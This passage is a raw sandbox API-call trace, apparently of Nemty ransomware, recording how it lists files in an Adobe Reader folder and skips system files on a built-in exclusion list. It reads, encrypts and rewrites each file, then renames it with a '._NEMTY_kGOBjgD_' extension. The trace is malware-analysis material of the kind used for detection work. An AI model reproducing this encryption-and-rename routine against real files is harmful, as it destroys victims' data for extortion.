lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.860] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e88 [0215.860] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.860] CloseHandle (hObject=0x2e8) returned 1 [0215.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.861] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it.txt._nemty_kgobjgd_")) returned 1 [0215.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.861] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e8e, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.it_CH.txt", cAlternateFileName="DIFC7F~1.TXT")) returned 1 [0215.862] lstrcmpiW (lpString1="DisplayLanguageNames.it_CH.txt", lpString2=".") returned 1 [0215.862] lstrcmpiW (lpString1="DisplayLanguageNames.it_CH.txt", lpString2="..") returned 1 [0215.862] lstrcmpiW (lpString1="DisplayLanguageNames.it_CH.txt", lpString2="...") returned 1 [0215.862] lstrcmpiW (lpString1="DisplayLanguageNames.it_CH.txt", lpString2="windows") returned -1 [0215.862] lstrcmpiW (lpString1="DisplayLanguageNames.it_CH.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.862] lstrcmpiW (lpString1="DisplayLanguageNames.it_CH.txt", lpString2="rsa") returned -1 [0215.862] lstrcmpiW (lpString1="DisplayLanguageNames.it_CH.txt", lpString2="NTDETECT.COM") returned -1 [0215.862] lstrcmpiW (lpString1="DisplayLanguageNames.it_CH.txt", lpString2="ntldr") returned -1 [0215.862] lstrcmpiW (lpString1="DisplayLanguageNames.it_CH.txt", lpString2="MSDOS.SYS") returned -1 [0215.862] lstrcmpiW (lpString1="DisplayLanguageNames.it_CH.txt", lpString2="IO.SYS") returned -1 [0215.862] lstrcmpiW (lpString1="DisplayLanguageNames.it_CH.txt", lpString2="boot.ini") returned 1 [0215.862] lstrcmpiW (lpString1="DisplayLanguageNames.it_CH.txt", lpString2="boot.ini") returned 1 [0215.862] lstrcmpiW (lpString1="DisplayLanguageNames.it_CH.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.862] lstrcmpiW (lpString1="DisplayLanguageNames.it_CH.txt", lpString2="ntuser.dat") returned -1 [0215.862] lstrcmpiW (lpString1="DisplayLanguageNames.it_CH.txt", lpString2="desktop.ini") returned 1 [0215.862] lstrcmpiW (lpString1="DisplayLanguageNames.it_CH.txt", lpString2="CONFIG.SYS") returned 1 [0215.862] lstrcmpiW (lpString1="DisplayLanguageNames.it_CH.txt", lpString2="RECYCLER") returned -1 [0215.862] lstrcmpiW (lpString1="DisplayLanguageNames.it_CH.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.862] lstrcmpiW (lpString1="DisplayLanguageNames.it_CH.txt", lpString2="bootmgr") returned 1 [0215.862] lstrcmpiW (lpString1="DisplayLanguageNames.it_CH.txt", lpString2="programdata") returned -1 [0215.862] lstrcmpiW (lpString1="DisplayLanguageNames.it_CH.txt", lpString2="appdata") returned 1 [0215.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it_CH.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it_CH.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.it_CH.txt", lpUsedDefaultChar=0x0) returned 30 [0215.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it_CH.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it_CH.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.it_CH.txt", lpUsedDefaultChar=0x0) returned 30 [0215.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it_CH.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it_CH.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.it_CH.txt", lpUsedDefaultChar=0x0) returned 30 [0215.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it_CH.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it_CH.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.it_CH.txt", lpUsedDefaultChar=0x0) returned 30 [0215.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.863] Sleep (dwMilliseconds=0x5) [0215.871] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x344e7690, dwHighDateTime=0x1d561e8)) [0215.871] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x344e7690, dwHighDateTime=0x1d561e8)) [0215.871] GetLastError () returned 0x0 [0215.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.871] GetLastError () returned 0x0 [0215.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.871] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.871] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.871] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0215.871] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="vzHVk+tqrKBKtqb4h+vSYmJAz8WI7CT2Cgrg44/VcJVRtYwRwOC5Hq9wPyPV3rus\r\nb8V53sQ8diKXmLrhpThUVC/PiCxSRU+qJV5SUVO1qpy/qS6ia7b8ypargdVUO4JI\r\n5foZSQOduCqOzGKvvQTYr47dpeYcJsW3Cx3Kdez3VNLCYZkou5zi1OnSBanXifQ5\r\nmGDN42S3XDEMxw9/o5QPSJdC05KroMMoQKInf4egWgog7yAmnAKCTffCeHixk15Z\r\nW2wnM4Pcnehc224apAibKkOHU2+e3gdVAif1i1tGCFhvlc9hLnS/s/FBUbOuc9HN\r\nHervCEVZiDVe9J5yvyDFHA==\r\n", pcchString=0x653e5dc) returned 1 [0215.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0215.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.871] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_CH.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_ch.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.872] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28302) returned 1 [0215.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6e80) returned 0x6352c48 [0215.872] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.872] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6e80, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6e80, lpOverlapped=0x0) returned 1 [0215.876] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.876] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6e80, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6e80, lpOverlapped=0x0) returned 1 [0215.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.876] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28302, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e8e [0215.876] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.876] CloseHandle (hObject=0x2e8) returned 1 [0215.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.876] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.876] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.876] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_CH.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_ch.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_CH.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_ch.txt._nemty_kgobjgd_")) returned 1 [0215.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.877] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e88, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.it_IT.txt", cAlternateFileName="DI5DFF~1.TXT")) returned 1 [0215.877] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT.txt", lpString2=".") returned 1 [0215.877] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT.txt", lpString2="..") returned 1 [0215.877] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT.txt", lpString2="...") returned 1 [0215.877] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT.txt", lpString2="windows") returned -1 [0215.877] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.877] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT.txt", lpString2="rsa") returned -1 [0215.877] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT.txt", lpString2="NTDETECT.COM") returned -1 [0215.877] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT.txt", lpString2="ntldr") returned -1 [0215.878] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT.txt", lpString2="MSDOS.SYS") returned -1 [0215.878] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT.txt", lpString2="IO.SYS") returned -1 [0215.878] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT.txt", lpString2="boot.ini") returned 1 [0215.878] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT.txt", lpString2="boot.ini") returned 1 [0215.878] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.878] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT.txt", lpString2="ntuser.dat") returned -1 [0215.878] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT.txt", lpString2="desktop.ini") returned 1 [0215.878] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT.txt", lpString2="CONFIG.SYS") returned 1 [0215.878] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT.txt", lpString2="RECYCLER") returned -1 [0215.878] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.878] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT.txt", lpString2="bootmgr") returned 1 [0215.878] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT.txt", lpString2="programdata") returned -1 [0215.878] lstrcmpiW (lpString1="DisplayLanguageNames.it_IT.txt", lpString2="appdata") returned 1 [0215.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it_IT.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it_IT.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.it_IT.txt", lpUsedDefaultChar=0x0) returned 30 [0215.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it_IT.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it_IT.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.it_IT.txt", lpUsedDefaultChar=0x0) returned 30 [0215.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it_IT.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it_IT.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.it_IT.txt", lpUsedDefaultChar=0x0) returned 30 [0215.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it_IT.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it_IT.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.it_IT.txt", lpUsedDefaultChar=0x0) returned 30 [0215.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.879] Sleep (dwMilliseconds=0x5) [0215.886] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3450d7f0, dwHighDateTime=0x1d561e8)) [0215.886] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3450d7f0, dwHighDateTime=0x1d561e8)) [0215.886] GetLastError () returned 0x0 [0215.886] 